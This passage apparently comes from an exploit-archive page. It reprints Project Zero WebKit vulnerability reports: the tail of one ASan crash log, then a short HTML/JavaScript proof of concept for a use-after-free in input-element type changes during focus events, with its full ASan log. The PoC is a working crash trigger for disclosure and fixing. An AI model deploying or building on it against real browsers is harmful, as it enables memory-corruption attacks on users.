    #9 0x1108b911b in WebCore::HTMLConstructionSite::insertTextNode(WTF::String const&, WebCore::WhitespaceMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd1111b)
    #10 0x110a2521f in WebCore::HTMLTreeBuilder::processCharacterBufferForInBody(WebCore::HTMLTreeBuilder::ExternalCharacterTokenBuffer&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe7d21f)
    #11 0x110a1f223 in WebCore::HTMLTreeBuilder::processCharacterBuffer(WebCore::HTMLTreeBuilder::ExternalCharacterTokenBuffer&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe77223)
    #12 0x110a1e083 in WebCore::HTMLTreeBuilder::processCharacter(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe76083)
    #13 0x110a1ad0e in WebCore::HTMLTreeBuilder::constructTree(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe72d0e)
    #14 0x1108e3c8a in WebCore::HTMLDocumentParser::constructTreeFromHTMLToken(WebCore::HTMLTokenizer::TokenPtr&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3bc8a)
    #15 0x1108e3849 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3b849)
    #16 0x1108e29c2 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3a9c2)
    #17 0x1108e44e8 in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3c4e8)
    #18 0x1102c2531 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x71a531)
    #19 0x1103ff63d in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x85763d)
    #20 0x1103c0736 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x818736)
    #21 0x10fe3c047 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x294047)
    #22 0x10fe34df1 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28cdf1)
    #23 0x11290c661 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d64661)
    #24 0x10140243b in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb1343b)
    #25 0x1014056d9 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb166d9)
    #26 0x101404bc9 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb15bc9)
    #27 0x100bf6117 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x307117)
    #28 0x1009d5695 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xe6695)
    #29 0x1009dea48 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xefa48)

SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xa029) in WebCore::Node::getFlag(WebCore::Node::NodeFlags) const
Shadow bytes around the buggy address:
  0x1c0e00029310: fd fd fd fd fd fd fd fa fa fa fa fa 00 00 00 00
  0x1c0e00029320: 00 00 00 00 00 fa fa fa fa fa fd fd fd fd fd fd
  0x1c0e00029330: fd fd fd fd fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c0e00029340: 00 fa fa fa fa fa 00 00 00 00 00 00 00 00 00 00
  0x1c0e00029350: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 fa fa
=>0x1c0e00029360: fa fa fd fd[fd]fd fd fd fd fd fd fa fa fa fa fa
  0x1c0e00029370: 00 00 00 00 00 00 00 00 00 fa fa fa fa fa 00 00
  0x1c0e00029380: 00 00 00 00 00 00 00 fa fa fa fa fa fd fd fd fd
  0x1c0e00029390: fd fd fd fd fd fa fa fa fa fa fd fd fd fd fd fd
  0x1c0e000293a0: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x1c0e000293b0: fd fd fa fa fa fa fd fd fd fd fd fd fd fd fd fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==29700==ABORTING
*/
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1345

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================
*/

<script>
function go() {
  input.selectionDirection = "foo";
}
var i=0;
function eventhandler() {
 i++;
 if(i==1) {
  input.setAttribute("autofocus", "autofocus");
  div.appendChild(form);
 }
 if(i==2) {
  input.type = "image/x-unsupported";
 }
}
</script>
<body onload=go()>
<div id="div">
<form id="form">
<input id="input" onfocus="eventhandler()" type="tel">

/*
=================================================================

ASan log:

=================================================================
==29682==ERROR: AddressSanitizer: heap-use-after-free on address 0x60800005dca8 at pc 0x00011110054b bp 0x7fff58adafe0 sp 0x7fff58adafd8
READ of size 8 at 0x60800005dca8 thread T0
==29682==WARNING: invalid path to external symbolizer!
==29682==WARNING: Failed to use and restart external symbolizer!
    #0 0x11110054a in WebCore::InputType::element() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x20654a)
    #1 0x113e51440 in WebCore::TextFieldInputType::forwardEvent(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f57440)
    #2 0x111c8c71f in WebCore::HTMLInputElement::defaultEventHandler(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd9271f)
    #3 0x11187fd55 in WebCore::callDefaultEventHandlersInTheBubblingOrder(WebCore::Event&, WebCore::EventPath const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x985d55)
    #4 0x11187f65e in WebCore::EventDispatcher::dispatchEvent(WebCore::Node&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x98565e)
    #5 0x11184fe15 in WebCore::Element::dispatchFocusEvent(WTF::RefPtr<WebCore::Element>&&, WebCore::FocusDirection) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x955e15)
    #6 0x1116a011d in WebCore::Document::setFocusedElement(WebCore::Element*, WebCore::FocusDirection, WebCore::Document::FocusRemovalEventsMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7a611d)
    #7 0x11196a1d7 in WebCore::FocusController::setFocusedElement(WebCore::Element*, WebCore::Frame&, WebCore::FocusDirection) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xa701d7)
    #8 0x111a638c1 in WebCore::FrameSelection::setFocusedElementIfNeeded() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb698c1)
    #9 0x111a631f6 in WebCore::FrameSelection::setSelectionWithoutUpdatingAppearance(WebCore::VisibleSelection const&, unsigned int, WebCore::FrameSelection::CursorAlignOnScroll, WebCore::TextGranularity) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb691f6)
    #10 0x111a60f94 in WebCore::FrameSelection::setSelection(WebCore::VisibleSelection const&, unsigned int, WebCore::AXTextStateChangeIntent, WebCore::FrameSelection::CursorAlignOnScroll, WebCore::TextGranularity) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb66f94)
    #11 0x111a61b9f in WebCore::FrameSelection::moveWithoutValidationTo(WebCore::Position const&, WebCore::Position const&, bool, bool, WebCore::AXTextStateChangeIntent const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb67b9f)
    #12 0x111d44152 in WebCore::HTMLTextFormControlElement::setSelectionRange(int, int, WebCore::TextFieldSelectionDirection, WebCore::AXTextStateChangeIntent const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe4a152)
    #13 0x111d43d86 in WebCore::HTMLTextFormControlElement::setSelectionDirection(WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe49d86)
    #14 0x111c8ff81 in WebCore::HTMLInputElement::setSelectionDirectionForBindings(WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd95f81)
    #15 0x1126f30fe in WebCore::setJSHTMLInputElementSelectionDirectionSetter(JSC::ExecState&, WebCore::JSHTMLInputElement&, JSC::JSValue, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x17f90fe)
    #16 0x1126ea167 in bool WebCore::IDLAttribute<WebCore::JSHTMLInputElement>::set<&(WebCore::setJSHTMLInputElementSelectionDirectionSetter(JSC::ExecState&, WebCore::JSHTMLInputElement&, JSC::JSValue, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState&, long long, long long, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x17f0167)
    #17 0x11cd05e48 in JSC::callCustomSetter(JSC::ExecState*, bool (*)(JSC::ExecState*, long long, long long), bool, JSC::JSValue, JSC::JSValue) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x9aee48)
    #18 0x11cd05f77 in JSC::callCustomSetter(JSC::ExecState*, JSC::JSValue, bool, JSC::JSObject*, JSC::JSValue, JSC::JSValue) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x9aef77)
    #19 0x11d80a008 in JSC::JSObject::putInlineSlow(JSC::ExecState*, JSC::PropertyName, JSC::JSValue, JSC::PutPropertySlot&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x14b3008)
    #20 0x11d9e0655 in llint_slow_path_put_by_id (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1689655)
    #21 0x11d9fe4f4 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16a74f4)
    #22 0x11da01e49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #23 0x11d9faf6f in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16a3f6f)
    #24 0x11d65e847 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1307847)
    #25 0x11d5df88a in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x128888a)
    #26 0x11cbf8731 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1731)
    #27 0x11cbf89a2 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a19a2)
    #28 0x11cbf8d13 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1d13)
    #29 0x112138615 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x123e615)
    #30 0x11254b6cd in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x16516cd)
    #31 0x1118b7010 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bd010)
    #32 0x1118b6ae0 in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bcae0)
    #33 0x111794051 in WebCore::DOMWindow::dispatchEvent(WebCore::Event&, WebCore::EventTarget*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x89a051)
    #34 0x1117a3c0f in WebCore::DOMWindow::dispatchLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8a9c0f)
    #35 0x111696b0f in WebCore::Document::dispatchWindowLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x79cb0f)
    #36 0x111690bad in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x796bad)
    #37 0x111a433ed in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb493ed)
    #38 0x111a4075c in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb4675c)
    #39 0x1116b0523 in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7b6523)
    #40 0x111c345d0 in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3a5d0)
    #41 0x111751693 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x857693)
    #42 0x111712736 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x818736)
    #43 0x11118e047 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x294047)
    #44 0x111186df1 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28cdf1)
    #45 0x113c5e661 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d64661)
    #46 0x107c4643b in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb1343b)
    #47 0x107c496d9 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb166d9)
    #48 0x107c48bc9 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb15bc9)
    #49 0x10743a117 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x307117)
    #50 0x107219695 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xe6695)
    #51 0x107222a48 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xefa48)
    #52 0x11e079842 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d22842)
    #53 0x11e07a1b1 in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d231b1)
    #54 0x7fffd52af320 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa7320)
    #55 0x7fffd529021c in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x8821c)
    #56 0x7fffd528f715 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87715)
    #57 0x7fffd528f113 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87113)
    #58 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #59 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #60 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #61 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #62 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #63 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #64 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #65 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #66 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
    #67 0x10712056c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
    #68 0x7fffeaa0f234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

0x60800005dca8 is located 8 bytes inside of 88-byte region [0x60800005dca0,0x60800005dcf8)
freed by thread T0 here:
    #0 0x10a37e294 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x57294)
    #1 0x11e0c9650 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72650)
    #2 0x111c873a8 in WebCore::HTMLInputElement::updateType() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd8d3a8)
    #3 0x111c887b5 in WebCore::HTMLInputElement::parseAttribute(WebCore::QualifiedName const&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd8e7b5)
    #4 0x111847538 in WebCore::Element::attributeChanged(WebCore::QualifiedName const&, WTF::AtomicString const&, WTF::AtomicString const&, WebCore::Element::AttributeModificationReason) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x94d538)
    #5 0x111855711 in WebCore::Element::didModifyAttribute(WebCore::QualifiedName const&, WTF::AtomicString const&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x95b711)
    #6 0x111846fef in WebCore::Element::setAttributeInternal(unsigned int, WebCore::QualifiedName const&, WTF::AtomicString const&, WebCore::Element::SynchronizationOfLazyAttribute) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x94cfef)
    #7 0x1126f1366 in WebCore::setJSHTMLInputElementTypeSetter(JSC::ExecState&, WebCore::JSHTMLInputElement&, JSC::JSValue, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x17f7366)
    #8 0x1126e7e57 in bool WebCore::IDLAttribute<WebCore::JSHTMLInputElement>::set<&(WebCore::setJSHTMLInputElementTypeSetter(JSC::ExecState&, WebCore::JSHTMLInputElement&, JSC::JSValue, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState&, long long, long long, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x17ede57)
    #9 0x11cd05e48 in JSC::callCustomSetter(JSC::ExecState*, bool (*)(JSC::ExecState*, long long, long long), bool, JSC::JSValue, JSC::JSValue) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x9aee48)
    #10 0x11cd05f77 in JSC::callCustomSetter(JSC::ExecState*, JSC::JSValue, bool, JSC::JSObject*, JSC::JSValue, JSC::JSValue) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x9aef77)
    #11 0x11d80a008 in JSC::JSObject::putInlineSlow(JSC::ExecState*, JSC::PropertyName, JSC::JSValue, JSC::PutPropertySlot&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x14b3008)
    #12 0x11d9e0655 in llint_slow_path_put_by_id (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1689655)
    #13 0x11d9fe4f4 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16a74f4)
    #14 0x11da01dd7 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aadd7)
    #15 0x11d9faf6f in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16a3f6f)
    #16 0x11d65e847 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1307847)
    #17 0x11d5df88a in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x128888a)
    #18 0x11cbf8731 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1731)
    #19 0x11cbf89a2 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a19a2)
    #20 0x11cbf8d13 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1d13)
    #21 0x112138615 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x123e615)
    #22 0x11254b6cd in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x16516cd)
